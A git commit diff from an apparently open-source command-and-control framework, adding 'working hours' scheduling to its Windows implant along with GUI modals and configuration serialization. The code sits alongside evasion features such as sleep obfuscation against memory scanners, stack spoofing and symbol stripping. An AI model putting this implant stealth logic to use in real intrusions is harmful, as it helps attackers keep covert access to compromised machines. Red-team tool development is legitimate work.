Implemented agent working hours.

This commit is contained in:
Jakob Friedl
2025-10-28 23:02:48 +01:00
parent 7f89487fb7
commit 6ab3cbafa0
10 changed files with 230 additions and 28 deletions

View File

@@ -49,6 +49,7 @@ TBD
- Looting and loot management
- Logging of all operator activity
- Self-deletion
- Agent kill date & working hours
## Screenshots

View File

@@ -33,7 +33,14 @@ proc deserializeConfiguration(config: string): AgentCtx =
sleepDelay: unpacker.getUint32(),
jitter: unpacker.getUint32(),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8())
spoofStack: cast[bool](unpacker.getUint8()),
workingHours: WorkingHours(
enabled: cast[bool](unpacker.getUint8()),
startHour: cast[int32](unpacker.getUint32()),
startMinute: cast[int32](unpacker.getUint32()),
endHour: cast[int32](unpacker.getUint32()),
endMinute: cast[int32](unpacker.getUint32())
)
),
killDate: cast[int64](unpacker.getUint64()),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),

View File

@@ -574,6 +574,23 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
sleep(sleepDelay)
print "[-] ", err.msg
# Function to determine whether the agent currently operates within the configured working hours
proc withinWorkingHours(workingHours: WorkingHours): bool =
var time: SYSTEMTIME
GetLocalTime(addr time)
if int(time.wHour) < workingHours.startHour or int(time.wHour) > workingHours.endHour:
return false
if int(time.wHour) == workingHours.startHour and int(time.wMinute) < workingHours.startMinute:
return false
if int(time.wHour) == workingHours.endHour and int(time.wMinute) > workingHours.endMinute:
return false
return true
# Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepSettings: SleepSettings) =
@@ -584,10 +601,32 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
let apis = initApis()
# Calculate actual sleep delay with jitter
let
minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
delay = int(rand(minDelay .. maxDelay) * 1000)
let minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
let maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
var delay = int(rand(minDelay .. maxDelay) * 1000)
# Working hours
# https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c#L650
# If the local time is outside of the agent's working hours, we calculate the required sleep delay until the start of the next work day.
if sleepSettings.workingHours.enabled and not withinWorkingHours(sleepSettings.workingHours):
print "[*] Agent is outside of working hours."
delay = 0
# Get current time
var time: SYSTEMTIME
GetLocalTime(addr time)
let minutesSinceMidnight = int(time.wHour) * 60 + int(time.wMinute)
let minutesUntilWorkday = sleepSettings.workingHours.startHour * 60 + sleepSettings.workingHours.startMinute
if minutesSinceMidnight < minutesUntilWorkday:
# We are on the same day as the start of the work day: calculate the difference between the two timestamps
delay = int((minutesUntilWorkday - minutesSinceMidnight) * 60 - int(time.wSecond)) * 1000
else:
# Calculate minutes until midnight and add the minutes until the start of the workday
delay = int(((24 * 60 - minutesSinceMidnight) + minutesUntilWorkday) * 60 - int(time.wSecond)) * 1000
print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}"

View File

@@ -15,8 +15,8 @@ proc main() =
#[
Agent routine:
1. Check kill date
2. Sleep Obfuscation
1. Sleep obfuscation
2. Check kill date
3. Register to the team server if not already connected
4. Retrieve tasks via checkin request to a GET endpoint
5. Execute task and post result
@@ -25,15 +25,15 @@ proc main() =
]#
while true:
try:
# Check kill date and exit the agent process if it is already passed
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Check kill date and exit the agent process if it is reached
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
print "[*] Exiting."
exit()
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Register
if not ctx.registered:
# Create registration payload

View File

@@ -3,7 +3,7 @@
-d:release
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511"
-d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -5,10 +5,10 @@ import ../../utils/[appImGui, colors]
type
KillDateModalComponent* = ref object of RootObj
killDateTime: ImPlotTime
killDateLevel: cint
killDateHour: cint
killDateMinute: cint
killDateSecond: cint
killDateLevel: int32
killDateHour: int32
killDateMinute: int32
killDateSecond: int32
proc KillDateModal*(): KillDateModalComponent =
result = new KillDateModalComponent
@@ -18,13 +18,13 @@ proc KillDateModal*(): KillDateModalComponent =
# Initialize to current date
# Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction
let now = now()
ImPlot_MakeTime(addr result.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
ImPlot_MakeTime(addr result.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0)
result.killDateHour = 0
result.killDateMinute = 0
result.killDateSecond = 0
proc wrapValue(value: cint, max: cint): cint =
proc wrapValue(value: int32, max: int32): int32 =
result = value mod max
if result < 0:
result += max
@@ -35,7 +35,7 @@ proc resetModalValues*(component: KillDateModalComponent) =
# Initialize to current date
let now = now()
ImPlot_MakeTime(addr component.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
ImPlot_MakeTime(addr component.killDateTime, now.year.int32, (now.month.ord.int32 - 1), now.monthday.int32, 0, 0, 0, 0)
component.killDateHour = 0
component.killDateMinute = 0
@@ -101,12 +101,9 @@ proc draw*(component: KillDateModalComponent): int64 =
igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# OK and Cancel buttons
if igButton("OK", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond
component.resetModalValues()
igCloseCurrentPopup()

View File

@@ -0,0 +1,102 @@
import strutils, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import ../../../common/types
type
WorkingHoursModalComponent* = ref object of RootObj
workingHours: WorkingHours
proc WorkingHoursModal*(): WorkingHoursModalComponent =
result = new WorkingHoursModalComponent
result.workingHours = WorkingHours(
enabled: false,
startHour: 9,
startMinute: 0,
endHour: 17,
endMinute: 0
)
proc resetModalValues*(component: WorkingHoursModalComponent) =
component.workingHours = WorkingHours(
enabled: false,
startHour: 9,
startMinute: 0,
endHour: 17,
endMinute: 0
)
proc wrapValue(value: int32, max: int32): int32 =
result = value mod max
if result < 0:
result += max
proc draw*(component: WorkingHoursModalComponent): WorkingHours =
result = component.workingHours
# Center modal
let vp = igGetMainViewport()
var center: ImVec2
ImGuiViewport_GetCenter(addr center, vp)
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
let modalWidth = max(400.0f, vp.Size.x * 0.2)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true
let windowFlags = ImGuiWindowFlags_None.int32
if igBeginPopupModal("Configure Working Hours", addr show, windowFlags):
defer: igEndPopup()
let textSpacing = igGetStyle().ItemSpacing.x
var availableSize: ImVec2
var charSize: ImVec2
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
let charWidth = charSize.x + 10.0f
igText("Start: ")
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##StartHours", ImGuiDataType_S32.int32, addr component.workingHours.startHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##StartMinute", ImGuiDataType_S32.int32, addr component.workingHours.startMinute, nil, nil, "%02d", 0)
igPopItemWidth()
igText("End: ")
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##EndHour", ImGuiDataType_S32.int32, addr component.workingHours.endHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##EndMinute", ImGuiDataType_S32.int32, addr component.workingHours.endMinute, nil, nil, "%02d", 0)
igPopItemWidth()
# Wrap time values
component.workingHours.startHour = wrapValue(component.workingHours.startHour, 24)
component.workingHours.endHour = wrapValue(component.workingHours.endHour, 24)
component.workingHours.startMinute = wrapValue(component.workingHours.startMinute, 60)
component.workingHours.endMinute = wrapValue(component.workingHours.endMinute, 60)
igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
if igButton("Configure", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.workingHours.enabled = true
result = component.workingHours
component.resetModalValues()
igCloseCurrentPopup()
igSameLine(0.0f, textSpacing)
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.resetModalValues()
igCloseCurrentPopup()

View File

@@ -1,10 +1,10 @@
import strutils, sequtils, times
import strutils, strformat, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
import ../../../common/[types, profile, utils]
import ../../../modules/manager
import ../widgets/[dualListSelection, textarea]
import ./configureKillDate
import ./[configureKillDate, configureWorkingHours]
export addItem
type
@@ -16,11 +16,14 @@ type
spoofStack: bool
killDateEnabled: bool
killDate: int64
workingHoursEnabled: bool
workingHours: WorkingHours
verbose: bool
sleepMaskTechniques: seq[string]
moduleSelection: DualListSelectionWidget[Module]
buildLog*: TextareaWidget
killDateModal*: KillDateModalComponent
workingHoursModal*: WorkingHoursModalComponent
proc AgentModal*(): AgentModalComponent =
@@ -32,6 +35,14 @@ proc AgentModal*(): AgentModalComponent =
result.spoofStack = false
result.killDateEnabled = false
result.killDate = 0
result.workingHoursEnabled = false
result.workingHours = WorkingHours(
enabled: false,
startHour: 0,
startMinute: 0,
endHour: 0,
endMinute: 0
)
result.verbose = false
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
@@ -50,6 +61,7 @@ proc AgentModal*(): AgentModalComponent =
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
result.buildLog = Textarea(showTimestamps = false)
result.killDateModal = KillDateModal()
result.workingHoursModal = WorkingHoursModal()
proc resetModalValues*(component: AgentModalComponent) =
component.listener = 0
@@ -59,6 +71,14 @@ proc resetModalValues*(component: AgentModalComponent) =
component.spoofStack = false
component.killDateEnabled = false
component.killDate = 0
component.workingHoursEnabled = false
component.workingHours = WorkingHours(
enabled: false,
startHour: 0,
startMinute: 0,
endHour: 0,
endMinute: 0
)
component.verbose = false
component.moduleSelection.reset()
component.buildLog.clear()
@@ -136,10 +156,11 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igSameLine(0.0f, textSpacing)
igCheckbox("##InputKillDate", addr component.killDateEnabled)
igSameLine(0.0f, textSpacing)
igBeginDisabled(not component.killDateEnabled)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") else: "Configure", vec2(-1.0f, 0.0f)):
if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") & " UTC" else: "Configure##KillDate", vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
igEndDisabled()
@@ -147,6 +168,25 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
if killDate != 0:
component.killDate = killDate
# Working hours
igText("Working Hours: ")
igSameLine(0.0f, textSpacing)
igCheckbox("##InputWorkingHours", addr component.workingHoursEnabled)
igSameLine(0.0f, textSpacing)
igBeginDisabled(not component.workingHoursEnabled)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
let workingHoursLabel = fmt"{component.workingHours.startHour:02}:{component.workingHours.startMinute:02} - {component.workingHours.endHour:02}:{component.workingHours.endMinute:02}"
if igButton(if component.workingHours.enabled: workingHoursLabel else: "Configure##WorkingHours", vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Working Hours", ImGui_PopupFlags_None.int32)
igEndDisabled()
let workingHours = component.workingHoursModal.draw()
if workingHours.enabled:
component.workingHours = workingHours
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
@@ -187,7 +227,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
sleepDelay: component.sleepDelay,
jitter: cast[uint32](component.jitter),
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack
spoofStack: component.spoofStack,
workingHours: if component.workingHoursEnabled: component.workingHours else: WorkingHours(enabled: false, startHour: 0, startMinute: 0, endHour: 0, endMinute: 0)
),
verbose: component.verbose,
killDate: if component.killDateEnabled: component.killDate else: 0,

View File

@@ -311,11 +311,19 @@ type
profile*: Profile
client*: WsConnection
WorkingHours* = ref object
enabled*: bool
startHour*: int32
startMinute*: int32
endHour*: int32
endMinute*: int32
SleepSettings* = ref object
sleepDelay*: uint32
jitter*: uint32
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
workingHours*: WorkingHours
AgentCtx* = ref object
agentId*: string

View File

@@ -24,6 +24,13 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
packer.add(uint8(sleepSettings.sleepTechnique))
packer.add(uint8(sleepSettings.spoofStack))
# Working hours
packer.add(uint8(sleepSettings.workingHours.enabled))
packer.add(uint32(sleepSettings.workingHours.startHour))
packer.add(uint32(sleepSettings.workingHours.startMinute))
packer.add(uint32(sleepSettings.workingHours.endHour))
packer.add(uint32(sleepSettings.workingHours.endMinute))
# Kill date
packer.add(uint64(killDate))